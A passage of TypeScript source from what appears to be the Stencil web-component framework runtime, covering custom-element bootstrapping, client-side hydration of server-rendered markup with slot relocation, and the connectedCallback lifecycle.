      if (BUILD.formAssociated && cmpMeta.$flags$ & CMP_FLAGS.formAssociated) {
        (HostElement as any).formAssociated = true;
      }

      if (BUILD.hotModuleReplacement) {
        // if we're in an HMR dev build then we need to set up the callback
        // which will carry out the work of actually replacing the module for
        // this particular component
        ((HostElement as any).prototype as d.HostElement)['s-hmr'] = function (hmrVersionId: string) {
          hmrStart(this, cmpMeta, hmrVersionId);
        };
      }

      cmpMeta.$lazyBundleId$ = lazyBundle[0];

      if (!exclude.includes(tagName) && !customElements.get(tagName)) {
        cmpTags.push(tagName);
        customElements.define(
          tagName,
          proxyComponent(HostElement as any, cmpMeta, PROXY_FLAGS.isElementConstructor) as any,
        );
      }
    });
  });

  // Only bother generating CSS if we have components
  // TODO(STENCIL-1118): Add test cases for CSS content based on conditionals
  if (cmpTags.length > 0) {
    // Add styles for `slot-fb` elements if any of our components are using slots outside the Shadow DOM
    if (BUILD.slotRelocation && hasSlotRelocation) {
      dataStyles.textContent += SLOT_FB_CSS;
    }

    // Add hydration styles
    if (BUILD.invisiblePrehydration && (BUILD.hydratedClass || BUILD.hydratedAttribute)) {
      dataStyles.textContent += cmpTags.sort() + HYDRATED_CSS;
    }

    // If we have styles, add them to the DOM
    if (dataStyles.innerHTML.length) {
      dataStyles.setAttribute('data-styles', '');

      // Apply CSP nonce to the style tag if it exists
      const nonce = plt.$nonce$ ?? queryNonceMetaTagContent(win.document);
      if (nonce != null) {
        dataStyles.setAttribute('nonce', nonce);
      }

      // Insert the styles into the document head
      // NOTE: this _needs_ to happen last so we can ensure the nonce (and other attributes) are applied
      head.insertBefore(dataStyles, metaCharset ? metaCharset.nextSibling : head.firstChild);
    }
  }

  // Process deferred connectedCallbacks now all components have been registered
  isBootstrapping = false;
  if (deferredConnectedCallbacks.length) {
    deferredConnectedCallbacks.map((host) => host.connectedCallback());
  } else {
    if (BUILD.profile) {
      plt.jmp(() => (appLoadFallback = setTimeout(appDidLoad, 30, 'timeout')));
    } else {
      plt.jmp(() => (appLoadFallback = setTimeout(appDidLoad, 30)));
    }
  }
  // Fallback appLoad event
  endBootstrap();
};


================================================
FILE: src/runtime/client-hydrate.ts
================================================
import { BUILD } from '@app-data';
import { getHostRef, plt, transformTag, win } from '@platform';

import type * as d from '../declarations';
import { CMP_FLAGS } from '../utils/constants';
import { internalCall, patchSlottedNode } from './dom-extras';
import { createTime } from './profile';
import {
  COMMENT_NODE_ID,
  CONTENT_REF_ID,
  HYDRATE_CHILD_ID,
  HYDRATE_ID,
  NODE_TYPE,
  ORG_LOCATION_ID,
  SLOT_NODE_ID,
  TEXT_NODE_ID,
  VNODE_FLAGS,
} from './runtime-constants';
import { addSlotRelocateNode, patchSlotNode } from './slot-polyfill-utils';
import { getScopeId } from './styles';
import { newVNode } from './vdom/h';

/**
 * Takes an SSR rendered document, as annotated by 'vdom-annotations.ts' and:
 *
 * 1) Recreate an accurate VDOM which is fed to 'vdom-render.ts'. A failure to do so can cause hydration errors; extra renders, duplicated nodes
 * 2) Add shadowDOM trees to their respective #document-fragment
 * 3) Move forwarded, slotted nodes out of shadowDOMs
 * 4) Add meta nodes to non-shadow DOMs and their 'slotted' nodes
 *
 * @param hostElm The element to hydrate.
 * @param tagName The element's tag name.
 * @param hostId The host ID assigned to the element by the server. e.g. `s-id="1"`
 * @param hostRef The host reference for the element.
 */
export const initializeClientHydrate = (
  hostElm: d.HostElement,
  tagName: string,
  hostId: string,
  hostRef: d.HostRef,
) => {
  const endHydrate = createTime('hydrateClient', tagName);
  const shadowRoot = hostElm.shadowRoot;
  // children placed by SSR within this component but don't necessarily belong to it.
  // We need to keep tabs on them so we can move them to the right place later
  const childRenderNodes: RenderNodeData[] = [];
  // nodes representing a `` element
  const slotNodes: RenderNodeData[] = [];
  // nodes that have been slotted from outside the component
  const slottedNodes: SlottedNodes[] = [];
  // nodes that make up this component's shadowDOM
  const shadowRootNodes: d.RenderNode[] = BUILD.shadowDom && shadowRoot ? [] : null;
  // The root VNode for this component
  const vnode: d.VNode = newVNode(tagName, null);
  vnode.$elm$ = hostElm;

  let scopeId: string;
  if (BUILD.scoped) {
    const cmpMeta = hostRef.$cmpMeta$;
    if (cmpMeta && cmpMeta.$flags$ & CMP_FLAGS.needsScopedEncapsulation && hostElm['s-sc']) {
      scopeId = hostElm['s-sc'];
      hostElm.classList.add(scopeId + '-h');
    } else if (hostElm['s-sc']) {
      delete hostElm['s-sc'];
    }
  }

  if (win.document && (!plt.$orgLocNodes$ || !plt.$orgLocNodes$.size)) {
    // This is the first pass over of this whole document;
    // does a scrape to construct a 'bare-bones' tree of what elements we have and where content has been moved from
    initializeDocumentHydrate(win.document.body, (plt.$orgLocNodes$ = new Map()));
  }

  hostElm[HYDRATE_ID] = hostId;
  hostElm.removeAttribute(HYDRATE_ID);

  hostRef.$vnode$ = clientHydrate(
    vnode,
    childRenderNodes,
    slotNodes,
    shadowRootNodes,
    hostElm,
    hostElm,
    hostId,
    slottedNodes,
  );

  let crIndex = 0;
  const crLength = childRenderNodes.length;
  let childRenderNode: RenderNodeData;

  // Steps through the child nodes we found.
  // If moved from an original location (by nature of being rendered in SSR markup) we might be able to move it back there now,
  // so slotted nodes don't get added to internal shadowDOMs
  for (crIndex; crIndex < crLength; crIndex++) {
    childRenderNode = childRenderNodes[crIndex];
    const orgLocationId = childRenderNode.$hostId$ + '.' + childRenderNode.$nodeId$;
    // The original location of this node
    const orgLocationNode = plt.$orgLocNodes$.get(orgLocationId);
    const node = childRenderNode.$elm$ as d.RenderNode;

    if (!shadowRoot) {
      node['s-hn'] = transformTag(tagName).toUpperCase();

      if (childRenderNode.$tag$ === 'slot') {
        // If this is a virtual 'slot', add it's Content-position Reference now.
        // If we don't, `vdom-render.ts` will try to add nodes to it (and because it may be a comment node, it will error)
        node['s-cr'] = hostElm['s-cr'];
      }
    } else if (
      childRenderNode.$tag$?.toString().includes('-') &&
      childRenderNode.$tag$ !== 'slot-fb' &&
      !childRenderNode.$elm$.shadowRoot
    ) {
      // if this child is a non-shadow component being added to a shadowDOM,
      // let's find and add its styles to the shadowRoot, so we don't get a visual flicker
      const cmpMeta = getHostRef(childRenderNode.$elm$);
      if (cmpMeta) {
        const scopeId = getScopeId(
          cmpMeta.$cmpMeta$,
          BUILD.mode ? childRenderNode.$elm$.getAttribute('s-mode') : undefined,
        );
        const styleSheet = win.document.querySelector(`style[sty-id="${scopeId}"]`);

        if (styleSheet) {
          shadowRootNodes.unshift(styleSheet.cloneNode(true) as d.RenderNode);
        }
      }
    }

    if (childRenderNode.$tag$ === 'slot') {
      childRenderNode.$name$ = childRenderNode.$elm$['s-sn'] || (childRenderNode.$elm$ as any)['name'] || null;
      if (childRenderNode.$children$) {
        childRenderNode.$flags$ |= VNODE_FLAGS.isSlotFallback;

        if (!childRenderNode.$elm$.childNodes.length) {
          // idiosyncrasy with slot fallback nodes during SSR + `serializeShadowRoot: false`:
          // the slot node is created here (in `addSlot()`) via a comment node,
          // but the children aren't moved into it. Let's do that now
          childRenderNode.$children$.forEach((c) => {
            childRenderNode.$elm$.appendChild(c.$elm$);
          });
        }
      } else {
        childRenderNode.$flags$ |= VNODE_FLAGS.isSlotReference;
      }
    }

    if (orgLocationNode && orgLocationNode.isConnected) {
      if (orgLocationNode.parentElement.shadowRoot && orgLocationNode['s-en'] === '') {
        // if this node is within a shadowDOM, with an original location home
        // we're safe to move it now
        orgLocationNode.parentNode.insertBefore(node, orgLocationNode.nextSibling);
      }
      // Remove original location / slot reference comment now.
      // we'll handle it via `addSlotRelocateNode` later
      orgLocationNode.parentNode.removeChild(orgLocationNode);

      if (!shadowRoot) {
        // Add the Original Order of this node.
        // We'll use it to make sure slotted nodes get added in the correct order
        node['s-oo'] = parseInt(childRenderNode.$nodeId$);
      }
    }
    // Remove the original location from the map
    if (orgLocationNode && !orgLocationNode['s-id']) {
      plt.$orgLocNodes$.delete(orgLocationId);
    }
  }

  const hosts: d.HostElement[] = [];
  const snLen = slottedNodes.length;
  let snIndex = 0;
  let slotGroup: SlottedNodes;
  let snGroupIdx: number;
  let snGroupLen: number;
  let slottedItem: SlottedNodes[0];
  let currentPos = 0;

  // Loops through all the slotted nodes we found while stepping through this component.
  // creates slot relocation nodes (non-shadow) or moves nodes to their new home (shadow)
  for (snIndex; snIndex < snLen; snIndex++) {
    slotGroup = slottedNodes[snIndex];

    if (!slotGroup || !slotGroup.length) continue;

    snGroupLen = slotGroup.length;
    snGroupIdx = 0;

    for (snGroupIdx; snGroupIdx < snGroupLen; snGroupIdx++) {
      slottedItem = slotGroup[snGroupIdx];

      if (!hosts[slottedItem.hostId as any]) {
        // Cache this host for other grouped slotted nodes
        hosts[slottedItem.hostId as any] = plt.$orgLocNodes$.get(slottedItem.hostId);
      }
      // This *shouldn't* happen as we collect all the custom elements first in `initializeDocumentHydrate`
      if (!hosts[slottedItem.hostId as any]) continue;

      const hostEle = hosts[slottedItem.hostId as any];

      if (hostEle.shadowRoot && slottedItem.node.parentElement !== hostEle) {
        // shadowDOM. This slotted node got left behind.
        // Move the item to the element root for native slotting
        // insert node after the previous node in the slotGroup
        hostEle.insertBefore(slottedItem.node, slotGroup[snGroupIdx - 1]?.node?.nextSibling);
      }

      // This node is either slotted in a non-shadow host, OR *that* host is nested in a non-shadow host
      if (!hostEle.shadowRoot || !shadowRoot) {
        // Try to set an appropriate Content-position Reference (CR) node for this host element

        if (!slottedItem.slot['s-cr']) {
          // Is a CR already set on the host?
          slottedItem.slot['s-cr'] = hostEle['s-cr'];

          if (!slottedItem.slot['s-cr'] && hostEle.shadowRoot) {
            // Host has shadowDOM - just use the host itself as the CR for native slotting
            slottedItem.slot['s-cr'] = hostEle;
          } else {
            // If all else fails - just set the CR as the first child
            // (9/10 if node['s-cr'] hasn't been set, the node will be at the element root)
            slottedItem.slot['s-cr'] = ((hostEle as any).__childNodes || hostEle.childNodes)[0];
          }
        }
        // Create our 'Original Location' node
        addSlotRelocateNode(slottedItem.node, slottedItem.slot, false, slottedItem.node['s-oo'] || currentPos);

        if (
          slottedItem.node.parentElement?.shadowRoot &&
          slottedItem.node['getAttribute'] &&
          slottedItem.node.getAttribute('slot')
        ) {
          // Remove the `slot` attribute from the slotted node:
          // if it's projected from a scoped component into a shadowRoot it's slot attribute will cause it to be hidden.
          // scoped components use the `s-sn` attribute to identify slotted nodes
          slottedItem.node.removeAttribute('slot');
        }

        if (BUILD.experimentalSlotFixes) {
          // patch this node for accessors like `nextSibling` (et al)
          patchSlottedNode(slottedItem.node);
        }
      }
      // Empty text nodes are never accounted on the server (they don't get a comment node, or a positional id)
      // So let's manually increment their position counter for them, keeping them in the correct order in the slot
      currentPos = (slottedItem.node['s-oo'] || currentPos) + 1;
    }
  }

  if (BUILD.scoped && scopeId && slotNodes.length) {
    slotNodes.forEach((slot) => {
      // Host is `scoped: true` - add the slotted scoped class to the slot parent
      slot.$elm$.parentElement.classList.add(scopeId + '-s');
    });
  }

  if (BUILD.shadowDom && shadowRoot && !shadowRoot.childNodes.length) {
    // For `scoped` shadowDOM rendering (not DSD);
    // Add all the root nodes in the shadowDOM (a root node can have a whole nested DOM tree)
    let rnIdex = 0;
    const rnLen = shadowRootNodes.length;
    if (rnLen) {
      for (rnIdex; rnIdex < rnLen; rnIdex++) {
        const node = shadowRootNodes[rnIdex];

        /**
         * in apps with a lot of components the `shadowRootNodes` array can be modified while iterating over it
         * so we need to check if the node is still in the array before appending it to avoid any errors like:
         *
         *   TypeError: Failed to execute 'appendChild' on 'Node': parameter 1 is not of type 'Node'
         */
        if (node) {
          shadowRoot.appendChild(node);
        }
      }

      Array.from(hostElm.childNodes).forEach((node) => {
        // don't remove slotted or original location nodes
        if (typeof (node as d.RenderNode)['s-en'] !== 'string' && typeof (node as d.RenderNode)['s-sn'] !== 'string') {
          if (node.nodeType === NODE_TYPE.ElementNode && (node as HTMLElement).slot && (node as HTMLElement).hidden) {
            // this is a slotted node that doesn't have a home ... yet.
            // we can safely leave it be, native behavior will mean it's hidden
            (node as HTMLElement).removeAttribute('hidden');
          } else if (node.nodeType === NODE_TYPE.CommentNode && !node.nodeValue) {
            // During `scoped` shadowDOM rendering, there's a bunch of comment nodes used for positioning / empty text nodes.
            // Let's tidy them up now to stop frameworks complaining about DOM mismatches.
            node.parentNode.removeChild(node);
          }
        }
      });
    }
  }

  hostRef.$hostElement$ = hostElm;
  endHydrate();
};

/**
 * Recursively constructs the virtual node tree for a host element and its children.
 * The tree is constructed by parsing the annotations set on the nodes by the server (`vdom-annotations.ts`).
 *
 * In addition to constructing the VNode tree, we also track information about the node's descendants:
 * - which are slots
 * - which should exist in the shadow root
 * - which are nodes that should be rendered as children of the parent node
 *
 * @param parentVNode The vNode representing the parent node.
 * @param childRenderNodes An array of all child nodes in the parent's node tree.
 * @param slotNodes An array of all slot nodes in the parent's node tree.
 * @param shadowRootNodes An array of nodes that should be rendered in the shadowDOM of the parent.
 * @param hostElm The parent element.
 * @param node The node to construct the vNode tree for.
 * @param hostId The host ID assigned to the element by the server.
 * @param slottedNodes - nodes that have been slotted
 * @returns - the constructed VNode
 */
const clientHydrate = (
  parentVNode: d.VNode,
  childRenderNodes: RenderNodeData[],
  slotNodes: RenderNodeData[],
  shadowRootNodes: d.RenderNode[],
  hostElm: d.HostElement,
  node: d.RenderNode,
  hostId: string,
  slottedNodes: SlottedNodes[] = [],
) => {
  let childNodeType: string;
  let childIdSplt: string[];
  let childVNode: RenderNodeData;
  let i: number;
  const scopeId = hostElm['s-sc'];

  if (node.nodeType === NODE_TYPE.ElementNode) {
    childNodeType = (node as HTMLElement).getAttribute(HYDRATE_CHILD_ID);
    if (childNodeType) {
      // Node data from the element's attribute:
      // `${hostId}.${nodeId}.${depth}.${index}`
      childIdSplt = childNodeType.split('.');

      if (childIdSplt[0] === hostId || childIdSplt[0] === '0') {
        childVNode = createSimpleVNode({
          $flags$: 0,
          $hostId$: childIdSplt[0],
          $nodeId$: childIdSplt[1],
          $depth$: childIdSplt[2],
          $index$: childIdSplt[3],
          $tag$: node.tagName.toLowerCase(),
          $elm$: node,
          // If we don't add the initial classes to the VNode, the first `vdom-render.ts` patch
          // won't try to reconcile them. Classes set on the node will be blown away.
          $attrs$: { class: node.className || '' },
        });

        childRenderNodes.push(childVNode);
        node.removeAttribute(HYDRATE_CHILD_ID);

        // This is a new child VNode so ensure its parent VNode has the VChildren array
        if (!parentVNode.$children$) {
          parentVNode.$children$ = [];
        }

        if (BUILD.scoped && scopeId && childIdSplt[0] === hostId) {
          // Host is `scoped: true` - add that flag to the child.
          // It's used in 'set-accessor.ts' to make sure our scoped class is present
          node['s-si'] = scopeId;
          childVNode.$attrs$.class += ' ' + scopeId;
        }

        // Test if this element was 'slotted' or is a 'slot' (with fallback). Recreate node attributes
        const slotName = childVNode.$elm$.getAttribute('s-sn');
        if (typeof slotName === 'string') {
          if (childVNode.$tag$ === 'slot-fb') {
            // This is a slot node. Set it up and find any assigned slotted nodes
            addSlot(
              slotName,
              childIdSplt[2],
              childVNode,
              node,
              parentVNode,
              childRenderNodes,
              slotNodes,
              shadowRootNodes,
              slottedNodes,
            );

            if (BUILD.scoped && scopeId) {
              // Host is `scoped: true` - a slot-fb node
              // never goes through 'set-accessor.ts' so add the class now
              node.classList.add(scopeId);
            }
          }
          childVNode.$elm$['s-sn'] = slotName;
          childVNode.$elm$.removeAttribute('s-sn');
        }
        if (childVNode.$index$ !== undefined) {
          // add our child VNode to a specific index of the VNode's children
          parentVNode.$children$[childVNode.$index$ as any] = childVNode;
        }

        // This is now the new parent VNode for all the next child checks
        parentVNode = childVNode;

        if (shadowRootNodes && childVNode.$depth$ === '0') {
          shadowRootNodes[childVNode.$index$ as any] = childVNode.$elm$;
        }
      }
    }

    if (node.shadowRoot) {
      // Keep drilling down through the shadow root nodes
      for (i = node.shadowRoot.childNodes.length - 1; i >= 0; i--) {
        clientHydrate(
          parentVNode,
          childRenderNodes,
          slotNodes,
          shadowRootNodes,
          hostElm,
          node.shadowRoot.childNodes[i] as any,
          hostId,
          slottedNodes,
        );
      }
    }

    // Recursively drill down, end to start so we can remove nodes
    const nonShadowNodes = node.__childNodes || node.childNodes;
    for (i = nonShadowNodes.length - 1; i >= 0; i--) {
      clientHydrate(
        parentVNode,
        childRenderNodes,
        slotNodes,
        shadowRootNodes,
        hostElm,
        nonShadowNodes[i] as any,
        hostId,
        slottedNodes,
      );
    }
  } else if (node.nodeType === NODE_TYPE.CommentNode) {
    // `${COMMENT_TYPE}.${hostId}.${nodeId}.${depth}.${index}`
    childIdSplt = node.nodeValue.split('.');

    if (childIdSplt[1] === hostId || childIdSplt[1] === '0') {
      // A comment node for either this host OR (if 0) a root component
      childNodeType = childIdSplt[0];

      childVNode = createSimpleVNode({
        $hostId$: childIdSplt[1],
        $nodeId$: childIdSplt[2],
        $depth$: childIdSplt[3],
        $index$: childIdSplt[4] || '0',
        $elm$: node,
        $attrs$: null,
        $children$: null,
        $key$: null,
        $name$: null,
        $tag$: null,
        $text$: null,
      });

      if (childNodeType === TEXT_NODE_ID) {
        childVNode.$elm$ = findCorrespondingNode(node, NODE_TYPE.TextNode) as d.RenderNode;

        if (childVNode.$elm$ && childVNode.$elm$.nodeType === NODE_TYPE.TextNode) {
          childVNode.$text$ = childVNode.$elm$.textContent;
          childRenderNodes.push(childVNode);

          // Remove the text comment since it's no longer needed
          node.remove();

          // Checks to make sure this node actually belongs to this host.
          // If it was slotted from another component, we don't want to add it to this host's VDOM; it can be removed on render reconciliation.
          // We *want* slotting logic to take care of it
          if (hostId === childVNode.$hostId$) {
            if (!parentVNode.$children$) {
              parentVNode.$children$ = [];
            }
            parentVNode.$children$[childVNode.$index$ as any] = childVNode;
          }

          if (shadowRootNodes && childVNode.$depth$ === '0') {
            shadowRootNodes[childVNode.$index$ as any] = childVNode.$elm$;
          }
        }
      } else if (childNodeType === COMMENT_NODE_ID) {
        childVNode.$elm$ = findCorrespondingNode(node, NODE_TYPE.CommentNode) as d.RenderNode;

        if (childVNode.$elm$ && childVNode.$elm$.nodeType === NODE_TYPE.CommentNode) {
          // A non-Stencil comment node
          childRenderNodes.push(childVNode);

          // Remove the comment comment since it's no longer needed
          node.remove();
        }
      } else if (childVNode.$hostId$ === hostId) {
        // This comment node is specifically for this host id

        if (childNodeType === SLOT_NODE_ID) {
          // Comment refers to a slot node:
          // `${SLOT_NODE_ID}.${hostId}.${nodeId}.${depth}.${index}.${slotName}`;

          // Add the slot name
          const slotName = (node['s-sn'] = childIdSplt[5] || '');

          // add the `` node to the VNode tree and prepare any slotted any child nodes
          addSlot(
            slotName,
            childIdSplt[2],
            childVNode,
            node,
            parentVNode,
            childRenderNodes,
            slotNodes,
            shadowRootNodes,
            slottedNodes,
          );
        } else if (childNodeType === CONTENT_REF_ID) {
          // `${CONTENT_REF_ID}.${hostId}`;
          if (BUILD.shadowDom && shadowRootNodes) {
            // Remove the content ref comment since it's not needed for shadow
            node.remove();
          } else if (BUILD.slotRelocation) {
            hostElm['s-cr'] = node;
            node['s-cn'] = true;
          }
        }
      }
    }
  } else if (parentVNode && parentVNode.$tag$ === 'style') {
    const vnode = newVNode(null, node.textContent) as any;
    vnode.$elm$ = node;
    vnode.$index$ = '0';
    parentVNode.$children$ = [vnode];
  }

  return parentVNode;
};

/**
 * Recursively locate any comments representing an 'original location' for a node; in a node's children or shadowRoot children.
 * Creates a map of component IDs and 'original location' ID's which are derived from comment nodes placed by 'vdom-annotations.ts'.
 * Each 'original location' relates to a lightDOM node that was moved deeper into the SSR markup. e.g. `` maps to `
` * * @param node The node to search. * @param orgLocNodes A map of the original location annotations and the current node being searched. */ export const initializeDocumentHydrate = (node: d.RenderNode, orgLocNodes: d.PlatformRuntime['$orgLocNodes$']) => { if (node.nodeType === NODE_TYPE.ElementNode) { // Add all the loaded component IDs in this document; required to find nodes later when deciding where slotted nodes should live const componentId = node[HYDRATE_ID] || node.getAttribute(HYDRATE_ID); if (componentId) { orgLocNodes.set(componentId, node); } let i = 0; if (node.shadowRoot) { for (; i < node.shadowRoot.childNodes.length; i++) { initializeDocumentHydrate(node.shadowRoot.childNodes[i] as d.RenderNode, orgLocNodes); } } const nonShadowNodes = node.__childNodes || node.childNodes; for (i = 0; i < nonShadowNodes.length; i++) { initializeDocumentHydrate(nonShadowNodes[i] as d.RenderNode, orgLocNodes); } } else if (node.nodeType === NODE_TYPE.CommentNode) { const childIdSplt = node.nodeValue.split('.'); if (childIdSplt[0] === ORG_LOCATION_ID) { orgLocNodes.set(childIdSplt[1] + '.' + childIdSplt[2], node); node.nodeValue = ''; // Useful to know if the original location is The root light-dom of a shadow dom component node['s-en'] = childIdSplt[3] as any; } } }; /** * Creates a VNode to add to a hydrated component VDOM * * @param vnode - a vnode partial which will be augmented * @returns an complete vnode */ const createSimpleVNode = (vnode: Partial): RenderNodeData => { const defaultVNode: RenderNodeData = { $flags$: 0, $hostId$: null, $nodeId$: null, $depth$: null, $index$: '0', $elm$: null, $attrs$: null, $children$: null, $key$: null, $name$: null, $tag$: null, $text$: null, }; return { ...defaultVNode, ...vnode }; }; function addSlot( slotName: string, slotId: string, childVNode: RenderNodeData, node: d.RenderNode, parentVNode: d.VNode, childRenderNodes: RenderNodeData[], slotNodes: RenderNodeData[], shadowRootNodes: d.RenderNode[], slottedNodes: SlottedNodes[], ) { node['s-sr'] = true; childVNode.$name$ = slotName || null; childVNode.$tag$ = 'slot'; // Find this slots' current host parent (as dictated by the VDOM tree). // Important because where it is now in the constructed SSR markup might be different to where to *should* be const parentNodeId = parentVNode?.$elm$ ? parentVNode.$elm$['s-id'] || parentVNode.$elm$.getAttribute('s-id') : ''; if (BUILD.shadowDom && shadowRootNodes && win.document) { /* SHADOW */ // Browser supports shadowRoot and this is a shadow dom component; create an actual slot element const slot = (childVNode.$elm$ = win.document.createElement(childVNode.$tag$ as string) as d.RenderNode); if (childVNode.$name$) { // Add the slot name attribute childVNode.$elm$.setAttribute('name', slotName); } if (parentVNode.$elm$.shadowRoot && parentNodeId && parentNodeId !== childVNode.$hostId$) { // Shadow component's slot is placed inside a nested component's shadowDOM; it doesn't belong to this host - it was forwarded by the SSR markup. // Insert it in the root of this host; it's lightDOM. It doesn't really matter where in the host root; the component will take care of it. internalCall(parentVNode.$elm$, 'insertBefore')(slot, internalCall(parentVNode.$elm$, 'children')[0]); } else { // Insert the new slot element before the slot comment internalCall(internalCall(node, 'parentNode') as d.RenderNode, 'insertBefore')(slot, node); } addSlottedNodes(slottedNodes, slotId, slotName, node, childVNode.$hostId$); // Remove the slot comment since it's not needed for shadow node.remove(); if (childVNode.$depth$ === '0') { shadowRootNodes[childVNode.$index$ as any] = childVNode.$elm$; } } else { /* NON-SHADOW */ const slot = childVNode.$elm$ as d.RenderNode; // Test to see if this non-shadow component's mock 'slot' is placed inside a nested component's shadowDOM. If so, it doesn't belong here; // it was forwarded by the SSR markup. So we'll insert it into the root of this host; it's lightDOM with accompanying 'slotted' nodes const shouldMove = parentNodeId && parentNodeId !== childVNode.$hostId$ && parentVNode.$elm$.shadowRoot; // attempt to find any mock slotted nodes which we'll move later addSlottedNodes(slottedNodes, slotId, slotName, node, shouldMove ? parentNodeId : childVNode.$hostId$); patchSlotNode(node); if (shouldMove) { // Move slot comment node (to after any other comment nodes) parentVNode.$elm$.insertBefore(slot, parentVNode.$elm$.children[0]); } } childRenderNodes.push(childVNode); slotNodes.push(childVNode); if (!parentVNode.$children$) { parentVNode.$children$ = []; } parentVNode.$children$[childVNode.$index$ as any] = childVNode; } /** * Adds groups of slotted nodes (grouped by slot ID) to this host element's 'master' array. * We'll use this after the host element's VDOM is completely constructed to finally position and add meta required by non-shadow slotted nodes * * @param slottedNodes - the main host element 'master' array to add to * @param slotNodeId - the slot node unique ID * @param slotName - the slot node name (can be '') * @param slotNode - the slot node * @param hostId - the host element id where this node should be slotted */ const addSlottedNodes = ( slottedNodes: SlottedNodes[], slotNodeId: string, slotName: string, slotNode: d.RenderNode, hostId: string, ) => { let slottedNode = slotNode.nextSibling as d.RenderNode; slottedNodes[slotNodeId as any] = slottedNodes[slotNodeId as any] || []; // stop if we find another slot node (as subsequent nodes will belong to that slot) if (!slottedNode || slottedNode.nodeValue?.startsWith(SLOT_NODE_ID + '.')) return; // Loop through the next siblings of the slot node, looking for nodes that match this slot's name do { if ( slottedNode && (((slottedNode['getAttribute'] && slottedNode.getAttribute('slot')) || slottedNode['s-sn']) === slotName || (slotName === '' && !slottedNode['s-sn'] && (!slottedNode['getAttribute'] || !slottedNode.getAttribute('slot')) && (slottedNode.nodeType === NODE_TYPE.CommentNode || slottedNode.nodeType === NODE_TYPE.TextNode))) ) { // Looking for nodes that match this slot's name, // OR are text / comment nodes and the slot is a default slot (no name) - text / comments cannot be direct descendants of *named* slots. // Also ignore slot fallback nodes - they're not part of the lightDOM slottedNode['s-sn'] = slotName; slottedNodes[slotNodeId as any].push({ slot: slotNode, node: slottedNode, hostId }); } slottedNode = slottedNode?.nextSibling as d.RenderNode; // continue *unless* we find another slot node (as subsequent nodes will belong to that slot) } while (slottedNode && !slottedNode.nodeValue?.startsWith(SLOT_NODE_ID + '.')); }; /** * Steps through the node's siblings to find the next node of a specific type, with a value. * e.g. when we find a position comment ``, we need to find the next text node with a value. * (it's a guard against whitespace which is never accounted for in the SSR output) * @param node - the starting node * @param type - the type of node to find * @returns the first corresponding node of the type */ const findCorrespondingNode = (node: Node, type: NODE_TYPE.CommentNode | NODE_TYPE.TextNode) => { let sibling = node; do { sibling = sibling.nextSibling; } while (sibling && (sibling.nodeType !== type || !sibling.nodeValue)); return sibling; }; type SlottedNodes = Array<{ slot: d.RenderNode; node: d.RenderNode; hostId: string }>; interface RenderNodeData extends d.VNode { $hostId$: string; $nodeId$: string; $depth$: string; $index$: string; $elm$: d.RenderNode; } ================================================ FILE: src/runtime/connected-callback.ts ================================================ import { BUILD } from '@app-data'; import { addHostEventListeners, getHostRef, nextTick, plt, supportsShadow, win } from '@platform'; import type * as d from '../declarations'; import { CMP_FLAGS, HOST_FLAGS, MEMBER_FLAGS } from '../utils/constants'; import { initializeClientHydrate } from './client-hydrate'; import { fireConnectedCallback, initializeComponent } from './initialize-component'; import { createTime } from './profile'; import { HYDRATE_ID, NODE_TYPE, PLATFORM_FLAGS } from './runtime-constants'; import { addStyle, getScopeId } from './styles'; import { attachToAncestor } from './update-component'; import { insertBefore } from './vdom/vdom-render'; export const connectedCallback = (elm: d.HostElement) => { if ((plt.$flags$ & PLATFORM_FLAGS.isTmpDisconnected) === 0) { const hostRef = getHostRef(elm); if (!hostRef) { return; } const cmpMeta = hostRef.$cmpMeta$; const endConnected = createTime('connectedCallback', cmpMeta.$tagName$); if (BUILD.hostListenerTargetParent) { // only run if we have listeners being attached to a parent addHostEventListeners(elm, hostRef, cmpMeta.$listeners$, true); } if (!(hostRef.$flags$ & HOST_FLAGS.hasConnected)) { // first time this component has connected hostRef.$flags$ |= HOST_FLAGS.hasConnected; let hostId: string; if (BUILD.hydrateClientSide) { hostId = elm.getAttribute(HYDRATE_ID); if (hostId) { if (BUILD.shadowDom && supportsShadow && cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) { const scopeId = BUILD.mode ? addStyle(elm.shadowRoot, cmpMeta, elm.getAttribute('s-mode')) : addStyle(elm.shadowRoot, cmpMeta); elm.classList.remove(scopeId + '-h', scopeId + '-s'); } else if (BUILD.scoped && cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation) { // set the scope id on the element now. Useful when hydrating, // to more quickly set the initial scoped classes for scoped css const scopeId = getScopeId(cmpMeta, BUILD.mode ? elm.getAttribute('s-mode') : undefined); elm['s-sc'] = scopeId; } initializeClientHydrate(elm, cmpMeta.$tagName$, hostId, hostRef); } } if (BUILD.slotRelocation && !hostId) { // initUpdate // if the slot polyfill is required we'll need to put some nodes // in here to act as original content anchors as we move nodes around // host element has been connected to the DOM if ( BUILD.hydrateServerSide || ((BUILD.slot || BUILD.shadowDom) && // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field cmpMeta.$flags$ & (CMP_FLAGS.hasSlotRelocation | CMP_FLAGS.needsShadowDomShim)) ) { setContentReference(elm); } } if (BUILD.asyncLoading) { // find the first ancestor component (if there is one) and register // this component as one of the actively loading child components for its ancestor let ancestorComponent = elm; while ((ancestorComponent = (ancestorComponent.parentNode as any) || (ancestorComponent.host as any))) { // climb up the ancestors looking for the first // component that hasn't finished its lifecycle update yet if ( (BUILD.hydrateClientSide && ancestorComponent.nodeType === NODE_TYPE.ElementNode && ancestorComponent.hasAttribute('s-id') && ancestorComponent['s-p']) || ancestorComponent['s-p'] ) { // we found this components first ancestor component // keep a reference to this component's ancestor component attachToAncestor(hostRef, (hostRef.$ancestorComponent$ = ancestorComponent)); break; } } } // Lazy properties // https://developers.google.com/web/fundamentals/web-components/best-practices#lazy-properties if (BUILD.prop && !BUILD.hydrateServerSide && cmpMeta.$members$) { Object.entries(cmpMeta.$members$).map(([memberName, [memberFlags]]) => { if (memberFlags & MEMBER_FLAGS.Prop && Object.prototype.hasOwnProperty.call(elm, memberName)) { const value = (elm as any)[memberName]; delete (elm as any)[memberName]; (elm as any)[memberName] = value; } }); } if (BUILD.initializeNextTick) { // connectedCallback, taskQueue, initialLoad // angular sets attribute AFTER connectCallback // https://github.com/angular/angular/issues/18909 // https://github.com/angular/angular/issues/19940 nextTick(() => initializeComponent(elm, hostRef, cmpMeta)); } else { initializeComponent(elm, hostRef, cmpMeta); } } else { // not the first time this has connected // reattach any event listeners to the host // since they would have been removed when disconnected addHostEventListeners(elm, hostRef, cmpMeta.$listeners$, false); // fire off connectedCallback() on component instance if (hostRef?.$lazyInstance$) { 